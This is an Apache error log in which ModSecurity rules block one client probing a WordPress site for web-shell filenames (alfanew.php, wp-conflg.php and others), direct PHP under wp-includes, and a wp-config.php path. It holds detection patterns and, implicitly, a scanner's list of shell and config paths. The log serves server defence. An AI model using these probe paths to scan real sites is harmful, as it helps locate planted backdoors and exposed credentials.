[Mon Dec 08 22:00:58.337155 2025] [:error] [pid 50569:tid 50589] [client 168.63.155.67:25160] [client 168.63.155.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aTbaGvHhZxyKreYmWzLDsQAAABE"]
[Mon Dec 08 22:01:12.527814 2025] [autoindex:error] [pid 50569:tid 50573] [client 168.63.155.67:34030] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Dec 08 22:01:15.440644 2025] [:error] [pid 50569:tid 50581] [client 168.63.155.67:34030] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aTbaK_HhZxyKreYmWzLD1QAAAAk"]
[Mon Dec 08 22:01:26.189439 2025] [:error] [pid 48541:tid 48549] [client 168.63.155.67:2822] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aTbaNgSNhJPArxLCdWELBwAAAQY"]
[Mon Dec 08 22:01:33.688633 2025] [:error] [pid 50569:tid 50588] [client 168.63.155.67:28949] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aTbaPfHhZxyKreYmWzLD-wAAABA"]
[Mon Dec 08 22:01:35.175819 2025] [:error] [pid 48481:tid 48492] [client 168.63.155.67:2818] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aTbaPye0pzx5KCi3S0Io2gAAAMc"]
[Mon Dec 08 22:01:36.393992 2025] [:error] [pid 48573:tid 48598] [client 168.63.155.67:29008] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aTbaQFIayuqwlm3CEkaWtQAAAVc"]
[Mon Dec 08 22:01:46.511080 2025] [:error] [pid 50569:tid 50575] [client 168.63.155.67:32981] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aTbaSvHhZxyKreYmWzLEHAAAAAM"]
[Mon Dec 08 22:01:47.858433 2025] [:error] [pid 50569:tid 50573] [client 168.63.155.67:28980] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/multi.php"] [unique_id "aTbaS_HhZxyKreYmWzLEJgAAAAE"]
[Mon Dec 08 22:01:59.215188 2025] [:error] [pid 50569:tid 50589] [client 168.63.155.67:34293] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/multi.php"] [unique_id "aTbaV_HhZxyKreYmWzLERAAAABE"]
[Mon Dec 08 22:02:01.497299 2025] [:error] [pid 48482:tid 48536] [client 168.63.155.67:27443] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uploads/multi.php"] [unique_id "aTbaWX23gV7gRu3vn82QpQAAAJg"]
[Mon Dec 08 22:02:02.073692 2025] [:error] [pid 48481:tid 48492] [client 168.63.155.67:34299] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aTbaWie0pzx5KCi3S0IpMgAAAMc"]
[Mon Dec 08 22:02:05.278025 2025] [:error] [pid 48482:tid 48527] [client 168.63.155.67:2167] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aTbaXX23gV7gRu3vn82QuAAAAI8"]
[Mon Dec 08 22:02:07.877456 2025] [:error] [pid 48541:tid 48552] [client 168.63.155.67:28976] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aTbaXwSNhJPArxLCdWELVgAAAQk"]
[Mon Dec 08 22:02:10.095273 2025] [:error] [pid 48573:tid 48587] [client 168.63.155.67:2846] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aTbaYlIayuqwlm3CEkaXLgAAAUw"]
[Mon Dec 08 22:02:12.173224 2025] [:error] [pid 48482:tid 48525] [client 168.63.155.67:30982] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aTbaZH23gV7gRu3vn82QwAAAAI0"]
[Mon Dec 08 22:02:24.910493 2025] [:error] [pid 50569:tid 50583] [client 168.63.155.67:2123] [client 168.63.155.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.63.155.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbacPHhZxyKreYmWzLEYQAAAAs"]
[Mon Dec 08 22:02:35.649066 2025] [:error] [pid 48481:tid 48488] [client 168.63.155.67:27424] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aTbaeye0pzx5KCi3S0IpYgAAAMM"]
[Mon Dec 08 22:02:37.698245 2025] [:error] [pid 50569:tid 50581] [client 168.63.155.67:31546] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oo.php"] [unique_id "aTbaffHhZxyKreYmWzLEcwAAAAk"]
[Mon Dec 08 22:02:55.516639 2025] [:error] [pid 48482:tid 48518] [client 168.63.155.67:32606] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aTbaj323gV7gRu3vn82Q_AAAAIY"]
[Mon Dec 08 22:02:58.481060 2025] [:error] [pid 48541:tid 48555] [client 168.63.155.67:2896] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aTbakgSNhJPArxLCdWELkwAAAQw"]
[Mon Dec 08 22:03:00.754575 2025] [:error] [pid 48482:tid 48528] [client 168.63.155.67:23603] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aTbalH23gV7gRu3vn82Q_wAAAJA"]
[Mon Dec 08 22:03:04.790690 2025] [:error] [pid 50569:tid 50582] [client 168.63.155.67:32596] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfanew.php"] [unique_id "aTbamPHhZxyKreYmWzLEswAAAAo"]
[Mon Dec 08 22:03:05.877231 2025] [:error] [pid 50569:tid 50576] [client 168.63.155.67:32854] [client 168.63.155.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aTbamfHhZxyKreYmWzLEtAAAAAQ"]
[Mon Dec 08 22:03:06.830349 2025] [:error] [pid 48573:tid 48579] [client 168.63.155.67:27099] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aTbamlIayuqwlm3CEkaXhwAAAUQ"]
[Mon Dec 08 22:03:09.539285 2025] [:error] [pid 48482:tid 48531] [client 168.63.155.67:2892] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aTbanX23gV7gRu3vn82RGQAAAJM"]
[Mon Dec 08 22:03:10.864838 2025] [:error] [pid 50569:tid 50577] [client 168.63.155.67:2909] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aTbanvHhZxyKreYmWzLEuwAAAAU"]
[Mon Dec 08 22:03:11.320294 2025] [:error] [pid 50569:tid 50596] [client 168.63.155.67:23597] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aTban_HhZxyKreYmWzLEvQAAABg"]
[Mon Dec 08 22:03:21.224356 2025] [:error] [pid 48482:tid 48513] [client 168.63.155.67:31236] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ll.php"] [unique_id "aTbaqX23gV7gRu3vn82RTwAAAIE"]
[Mon Dec 08 22:03:22.297944 2025] [:error] [pid 48573:tid 48577] [client 168.63.155.67:2886] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ll.php"] [unique_id "aTbaqlIayuqwlm3CEkaXogAAAUI"]
[Mon Dec 08 22:03:26.307374 2025] [:error] [pid 48541:tid 48557] [client 168.63.155.67:29535] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ll.php"] [unique_id "aTbargSNhJPArxLCdWELsQAAAQ4"]
[Mon Dec 08 22:03:37.632494 2025] [:error] [pid 48541:tid 48562] [client 168.63.155.67:31541] [client 168.63.155.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-class.php"] [unique_id "aTbauQSNhJPArxLCdWELwgAAARM"]
[Mon Dec 08 22:03:45.013755 2025] [:error] [pid 50569:tid 50584] [client 168.63.155.67:2487] [client 168.63.155.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/about.php"] [unique_id "aTbawfHhZxyKreYmWzLFNQAAAAw"]
[Mon Dec 08 22:03:57.029592 2025] [:error] [pid 48541:tid 48564] [client 168.63.155.67:23936] [client 168.63.155.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aTbazQSNhJPArxLCdWEL4wAAARU"]
[Mon Dec 08 22:04:02.819604 2025] [:error] [pid 48482:tid 48521] [client 168.63.155.67:29526] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aTba0n23gV7gRu3vn82RdwAAAIk"]
[Mon Dec 08 22:04:04.306445 2025] [:error] [pid 48482:tid 48529] [client 168.63.155.67:23938] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aTba1H23gV7gRu3vn82RfAAAAJE"]
[Mon Dec 08 22:04:05.389615 2025] [:error] [pid 48481:tid 48488] [client 168.63.155.67:28796] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aTba1Se0pzx5KCi3S0Ip-AAAAMM"]
[Mon Dec 08 22:04:07.696312 2025] [:error] [pid 48482:tid 48514] [client 168.63.155.67:26336] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aTba1323gV7gRu3vn82RgQAAAII"]
[Mon Dec 08 22:04:09.437417 2025] [:error] [pid 48573:tid 48595] [client 168.63.155.67:2929] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usage-file.php"] [unique_id "aTba2VIayuqwlm3CEkaX9gAAAVQ"]
[Mon Dec 08 22:04:11.714721 2025] [:error] [pid 48573:tid 48594] [client 168.63.155.67:23595] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usage-file.php"] [unique_id "aTba21Iayuqwlm3CEkaX_AAAAVM"]
[Mon Dec 08 22:04:13.405381 2025] [:error] [pid 48481:tid 48491] [client 168.63.155.67:32610] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usage-file.php"] [unique_id "aTba3Se0pzx5KCi3S0IqBAAAAMY"]
[Mon Dec 08 22:04:14.622471 2025] [:error] [pid 48573:tid 48577] [client 168.63.155.67:30853] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/usage-file.php"] [unique_id "aTba3lIayuqwlm3CEkaX_wAAAUI"]
[Mon Dec 08 22:04:16.667750 2025] [:error] [pid 50569:tid 50584] [client 168.63.155.67:23555] [client 168.63.155.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/assets/js/wp-config.php"] [unique_id "aTba4PHhZxyKreYmWzLFfwAAAAw"]
[Mon Dec 08 22:04:19.908705 2025] [:error] [pid 48541:tid 48552] [client 168.63.155.67:31285] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Js.php"] [unique_id "aTba4wSNhJPArxLCdWEMJAAAAQk"]
[Mon Dec 08 22:04:21.840281 2025] [:error] [pid 48481:tid 48509] [client 168.63.155.67:2911] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Js.php"] [unique_id "aTba5Se0pzx5KCi3S0IqCQAAANg"]
[Mon Dec 08 22:04:23.283925 2025] [:error] [pid 48573:tid 48578] [client 168.63.155.67:23560] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Js.php"] [unique_id "aTba51Iayuqwlm3CEkaYDAAAAUM"]
[Mon Dec 08 22:04:27.684494 2025] [:error] [pid 48481:tid 48498] [client 168.63.155.67:31544] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Js.php"] [unique_id "aTba6ye0pzx5KCi3S0IqEQAAAM0"]
[Mon Dec 08 22:04:29.616043 2025] [:error] [pid 48482:tid 48512] [client 168.63.155.67:24762] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aTba7X23gV7gRu3vn82RlgAAAIA"]
[Mon Dec 08 22:04:32.144490 2025] [:error] [pid 48481:tid 48501] [client 168.63.155.67:30990] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aTba8Ce0pzx5KCi3S0IqGwAAANA"]
[Mon Dec 08 22:04:34.239461 2025] [:error] [pid 50569:tid 50589] [client 168.63.155.67:30979] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aTba8vHhZxyKreYmWzLFswAAABE"]
[Mon Dec 08 22:04:35.521816 2025] [:error] [pid 48573:tid 48588] [client 168.63.155.67:28930] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aTba81Iayuqwlm3CEkaYIgAAAU0"]
[Mon Dec 08 22:04:36.366707 2025] [:error] [pid 48541:tid 48548] [client 168.63.155.67:32991] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aTba9ASNhJPArxLCdWEMLQAAAQU"]
[Mon Dec 08 22:04:37.718351 2025] [:error] [pid 48541:tid 48557] [client 168.63.155.67:2137] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aTba9QSNhJPArxLCdWEMNAAAAQ4"]
[Mon Dec 08 22:04:38.230823 2025] [:error] [pid 48481:tid 48494] [client 168.63.155.67:33009] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aTba9ie0pzx5KCi3S0IqJAAAAMk"]
[Mon Dec 08 22:04:39.992824 2025] [:error] [pid 48541:tid 48550] [client 168.63.155.67:2872] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aTba9wSNhJPArxLCdWEMOgAAAQc"]
[Mon Dec 08 22:04:40.977898 2025] [:error] [pid 48541:tid 48557] [client 168.63.155.67:2115] [client 168.63.155.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/build.php"] [unique_id "aTba-ASNhJPArxLCdWEMQQAAAQ4"]
